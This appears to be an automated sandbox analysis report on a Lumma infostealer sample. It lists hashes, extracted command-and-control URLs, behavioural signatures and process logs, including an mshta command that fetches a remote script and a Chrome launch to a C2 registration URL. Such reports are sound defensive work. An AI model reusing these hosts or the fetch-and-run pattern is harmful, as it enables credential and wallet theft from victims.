Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
24/05/2026, 17:15
Static task
static1
Behavioral task
behavioral1
Sample
tmpcm0_1iwk.exe
Resource
win10ltsc2021-20260513-en
Behavioral task
behavioral2
Sample
tmpcm0_1iwk.exe
Resource
win10v2004-20260513-en
General
- Target tmpcm0_1iwk.exe
- Size 31.2MB
- Sample260524-vszccafv2s
- SHA256 8b097a3037a707471a7abc9a304715f7731f4669b2bf5c823432e37c3d624a06
- MD5 157887310c3de64f781ddb7c23a8f73f
- SHA1 00664758ab7384ca779de62e534818fd7b50c7be
- SHA512 1d582e66db581b1d310a5966eaef291cc0eb358c5055414620fee4192fa1312ab105722b2b8bb111e204c7218945db13e40d512ddacce902d104e7ce8d41ea52
- SSDEEP 393216:p+tQdVBFmKlgHCHeQOnJZjjUKLS5muvSntbLy88E+ulu39qdT2d:ppzitV9RuF
- TLSH T10767CF12B7E84166E4B7973098B79622AB36BD511B31C3CF1294B62D2E737C09F31726
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
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hta
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hta.dropper
https://snconor.vg
Extracted
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lumma
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https://springvc.cyou
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https://decrnoj.club/xxx
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https://pomflgf.vu/help
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https://carytui.vu/caccc
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https://mushxhb.best/info
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https://genugsq.best/main
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https://ulmudhw.shop/create
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https://strikql.shop/owner
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https://longmbx.click/manifest
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build_id
83af73e8484fc9f764374a223760d87d773a2c346e
Signatures
- Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 117 4684 mshta.exe 119 4684 mshta.exe 121 4684 mshta.exe 122 4684 mshta.exe - Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language tmpcm0_1iwk.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 3700 chrome.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier chrome.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Software\Microsoft\Internet Explorer\Styles mshta.exe Set value (int) \REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\Styles\MaxScriptStatements = "10000000" mshta.exe - Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134241165924288373" chrome.exe - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ chrome.exe - Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 122 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) - Suspicious behavior: EnumeratesProcesses 14 IoCs
pid Process 3788 tmpcm0_1iwk.exe 3788 tmpcm0_1iwk.exe 3788 tmpcm0_1iwk.exe 3788 tmpcm0_1iwk.exe 4400 chrome.exe 4400 chrome.exe 3788 tmpcm0_1iwk.exe 3788 tmpcm0_1iwk.exe 3788 tmpcm0_1iwk.exe 3788 tmpcm0_1iwk.exe 3788 tmpcm0_1iwk.exe 3788 tmpcm0_1iwk.exe 3788 tmpcm0_1iwk.exe 3788 tmpcm0_1iwk.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
pid Process 4400 chrome.exe 4400 chrome.exe 4400 chrome.exe - Suspicious use of AdjustPrivilegeToken 12 IoCs
description pid Process Token: SeShutdownPrivilege 4400 chrome.exe Token: SeCreatePagefilePrivilege 4400 chrome.exe Token: SeShutdownPrivilege 4400 chrome.exe Token: SeCreatePagefilePrivilege 4400 chrome.exe Token: SeShutdownPrivilege 4400 chrome.exe Token: SeCreatePagefilePrivilege 4400 chrome.exe Token: SeShutdownPrivilege 4400 chrome.exe Token: SeCreatePagefilePrivilege 4400 chrome.exe Token: SeShutdownPrivilege 4400 chrome.exe Token: SeCreatePagefilePrivilege 4400 chrome.exe Token: SeSecurityPrivilege 4684 mshta.exe Token: SeSecurityPrivilege 4684 mshta.exe - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 4400 chrome.exe 4400 chrome.exe 4400 chrome.exe 4400 chrome.exe 4400 chrome.exe 4400 chrome.exe 4400 chrome.exe 4400 chrome.exe 4400 chrome.exe 4400 chrome.exe 4400 chrome.exe 4400 chrome.exe 4400 chrome.exe 4400 chrome.exe 4400 chrome.exe 4400 chrome.exe 4400 chrome.exe 4400 chrome.exe 4400 chrome.exe 4400 chrome.exe 4400 chrome.exe 4400 chrome.exe 4400 chrome.exe 4400 chrome.exe 4400 chrome.exe 4400 chrome.exe 4400 chrome.exe 4400 chrome.exe 4400 chrome.exe 4400 chrome.exe 4400 chrome.exe 4400 chrome.exe 4400 chrome.exe 4400 chrome.exe - Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 3788 wrote to memory of 4400 3788 tmpcm0_1iwk.exe 91 PID 4400 wrote to memory of 3744 4400 chrome.exe 92 PID 4400 wrote to memory of 3700 4400 chrome.exe 93 PID 4400 wrote to memory of 2708 4400 chrome.exe 94 PID 4400 wrote to memory of 2708 4400 chrome.exe 94 PID 4400 wrote to memory of 220 4400 chrome.exe 95 PID 4400 wrote to memory of 220 4400 chrome.exe 95 PID 4400 wrote to memory of 1964 4400 chrome.exe 96 PID 4400 wrote to memory of 2296 4400 chrome.exe 97 PID 4400 wrote to memory of 1964 4400 chrome.exe 96 PID 4400 wrote to memory of 2296 4400 chrome.exe 97 PID 4400 wrote to memory of 3988 4400 chrome.exe 99 PID 4400 wrote to memory of 3988 4400 chrome.exe 99 PID 4400 wrote to memory of 4632 4400 chrome.exe 101 PID 3788 wrote to memory of 4684 3788 tmpcm0_1iwk.exe 117 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\tmpcm0_1iwk.exe"C:\Users\Admin\AppData\Local\Temp\tmpcm0_1iwk.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3788 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" springvc.cyou/api/set_agent?id=50CBED55BD24956701AEC7B30ADF174C&token=83af73e8484fc9f764374a223760d87d773a2c346e&description=&agent=Chrome2⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4400 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fffcf64c728,0x7fffcf64c734,0x7fffcf64c7403⤵PID:3744
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1576,i,5607333876754967422,4079785551489146606,524288 --field-trial-handle=2116,i,13754123542718271807,9670326192033375746,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2168 /prefetch:33⤵
- System Time Discovery
PID:3700
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1720,i,1044360978410314484,16565340804591297789,262144 --field-trial-handle=2116,i,13754123542718271807,9670326192033375746,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2120 /prefetch:23⤵PID:2708
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2400,i,11096463988693844705,13404362089489484708,524288 --field-trial-handle=2116,i,13754123542718271807,9670326192033375746,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2568 /prefetch:83⤵PID:220
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3216,i,1543355652378016595,13589186834552072433,2097152 --field-trial-handle=2116,i,13754123542718271807,9670326192033375746,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2884 /prefetch:13⤵PID:1964
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3232,i,10433269016673954531,16472630025870264974,2097152 --field-trial-handle=2116,i,13754123542718271807,9670326192033375746,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3244 /prefetch:13⤵PID:2296
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4236,i,14263916968834837664,15708356893493347567,2097152 --field-trial-handle=2116,i,13754123542718271807,9670326192033375746,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4200 /prefetch:23⤵PID:3988
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5256,i,12054553624816706268,2921470300726296131,524288 --field-trial-handle=2116,i,13754123542718271807,9670326192033375746,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5260 /prefetch:83⤵PID:4632
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C:\Windows\SYSTEM32\mshta.exemshta.exe https://snconor.vg2⤵
- Badlisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of AdjustPrivilegeToken
PID:4684
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C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:4572
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:4256
Network
MITRE ATT&CK Enterprise v16
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
3Credentials In Files
3Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
- Size 6B
- SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
- MD5 377d072e137022223a370760763420bb
- SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
- SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
- Size 649B
- SHA256 fdd3aa9d798952556d443926fa8c69641518d7a52bd66a683f2b571e79b5a146
- MD5 43e0b348d092fc16bd089db383112c68
- SHA1 037dcded855c27703491b56f6e20d209ecc68989
- SHA512 89dd9b3d9561a36efddf1c6405e5d2c98c6413c3b835363ad7e9a15ee85b313464728b48599f4cc4bfa614b1797d693869206d3c837ff1e0de6dd5e1885f489f
- TLSH T13CF0F9B6C9309C2B18FD071934580747F795135B2B41445F3A3D930D8FB563B5655C1C
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
- Size 138KB
- SHA256 91f6360b876fd420a901e765007148d99e247d64ae1b529158109b020da46598
- MD5 af87750e85d226f648e379cb2b76c090
- SHA1 208ec4651bd51e74ffe6d71c9fb39b89e179e4b7
- SHA512 d174badf5cd714548e813448110d9e528e8865693d76e23cd32f73ee1c9446392fea76517a50aa89a117cc0534a21056060086ad44546078692935502ff84a86
- SSDEEP 192:tB+XuvBnl3JsueMEGvIW1/rcP2OhpX6ydqEVumawkh:jeuvBnhJsueMEGvIW1DcP2OvNfVumanh
- TLSH T11DD3874B3A743102EDE59A722CE051BB5E3CB17D8F55A5D4287620588EF2863A23D4FF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
- Size 13B
- SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
- MD5 43ef949d3c6e9956545979ace65d0085
- SHA1 63f2b2de8727854597e49a1216e8e74c68117c07
- SHA512 313a5ab7ac9b5efd955beba4615784bdc2a9058ddaa804d85fb2d0c651dd3de07e382d61a1bb482499520a80e0b64c004ff2af03459cbc1daef47f540f0a6905
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 115KB
- SHA256 8e848210fbdd9e2394c6f18d0dd35d7fcb78450a1af15631e1de8a1684e2aa11
- MD5 cd067ff8690969aae6f0e53b60a532fd
- SHA1 2c82ab863802b4ec4ad7790df7b6bee3c76c928a
- SHA512 14a497009ec8d69757ccdfd04cad2dee657d279a36c878eb8abce7ac8f68d461fb5f0fbcda70fe7fdb6119d5ff4d817808cfb720db1d7be4512c94cb79f0ac11
- SSDEEP 1536:TLQyD4aukHU65fd7Ntk8XOP851ZqODZHQ3gwGSUq0BTQQwsNwSVwxfQEz3bICbjf:Kqfd7NtZL8cHQRZEQ6Spsk
- TLSH T11DC30237DBC21F339E92CB64B9530FD697F644A99034D301AA6D77BF6C83891684289C
- MD5 SHA1 SHA512 SSDEEP TLSH